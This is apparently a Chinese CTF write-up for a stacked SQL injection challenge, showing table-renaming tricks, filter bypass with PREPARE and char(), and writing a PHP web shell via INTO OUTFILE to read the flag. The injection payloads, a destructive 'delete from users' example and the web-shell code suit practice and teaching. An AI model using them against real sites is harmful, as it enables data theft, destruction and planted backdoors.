解题
0x01 堆叠注入学习(堆叠查询,Stacked Queries)
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。
堆叠注入原理
在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
举个堆叠注入攻击的例子
执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了。
mysql> select * from users where id =1;delete from users;
堆叠注入的局限性
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
方法一:重命名+堆叠注入
1. 发现可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag!
2. 先看一下库名,发现很多函数都被过滤了。由于select被过滤了,union查询也就用不上了。
3.尝试一下堆叠注入,果然可以,把全部库名都给查出来了
4.OK继续查表名
5.查看表结构 ,可以发现flag在1919810931114514
表里
1 ' ;desc `1919810931114514`; #
这里查询表名使用反单引号
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
eg. mysql> SELECT * FROM table
WHERE id
= ‘123’ ;
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关
6. 再查看words表的结构,发现一共有id和data两列。
那么可以猜测我们提交查询的窗口就是在这个表里查询数据的
7. 那么查询语句很有可能是 : selsect id,data from words where id =
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦
payload:
0';rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc words;#
8. 再用一下一开始的操作id=1’ or 1=1#
flag{7c21b31a-02ab-467c-8f4c-66d9110dd5e5}
0x03 方法二:预处理语句+堆叠注入
预处理语句使用方式:
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->‘select’
payload1:不使用变量
1’;PREPARE hacker from concat(char(115,101,108,101,99,116), ’ * from
1919810931114514
'); EXECUTE hacker;#
payload2:使用变量
1’;SET @sqli=concat(char(115,101,108,101,99,116),’* from
1919810931114514
');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from
1919810931114514
');EXECUTE hacker;#
直接输入这三个payload的任何一个都能获得flag
00x4方法三:利用命令执行Getflag
查询了一下用户竟然是root
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
那么写个执行命令的shell吧(绝对路径猜的,一般是服务器网站根目录/var/www/html)
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
利用char(46)<==>.从而绕过关键词.过滤
Mysql into outfile语句,可以方便导出表格的数据。同样也可以生成某些文件。因此有些人会利用sql注入生成特定代码的文件,然后执行这些文件。将会造成严重的后果。
Mysql into outfile 生成PHP文件
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into
outfile ‘/var/www/html/fuck.php’
最后会在/var/www/html/路径下, 生成fuck.php文件
这里不走寻常路,执行打算利用我们的shell查询flag(账号密码直接读取首页就可以看到)
利用一句话木马执行任意mysql命令(双引号中的内容会被当做shell命令执行然后结果再传回来执行)
uroot:用户名root proot:密码root
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"
参考资料
1.https://www.cnblogs.com/0nth3way/articles/7128189.html
【SQL注入-堆叠注入(堆查询注入) 】
2.https://www.cnblogs.com/wjw-zm/p/12359735.html
【[强网杯 2019]随便注 1】
3.https://www.cnblogs.com/geaozhang/p/9891338.html
【MySQL的SQL预处理(Prepared) 】
4.https://www.cnblogs.com/iforever/p/4459857.html
【shell处理mysql增、删、改、查】
5.https://blog.csdn.net/xlxxcc/article/details/52637873
【利用Mysql into outfile给网站留后门】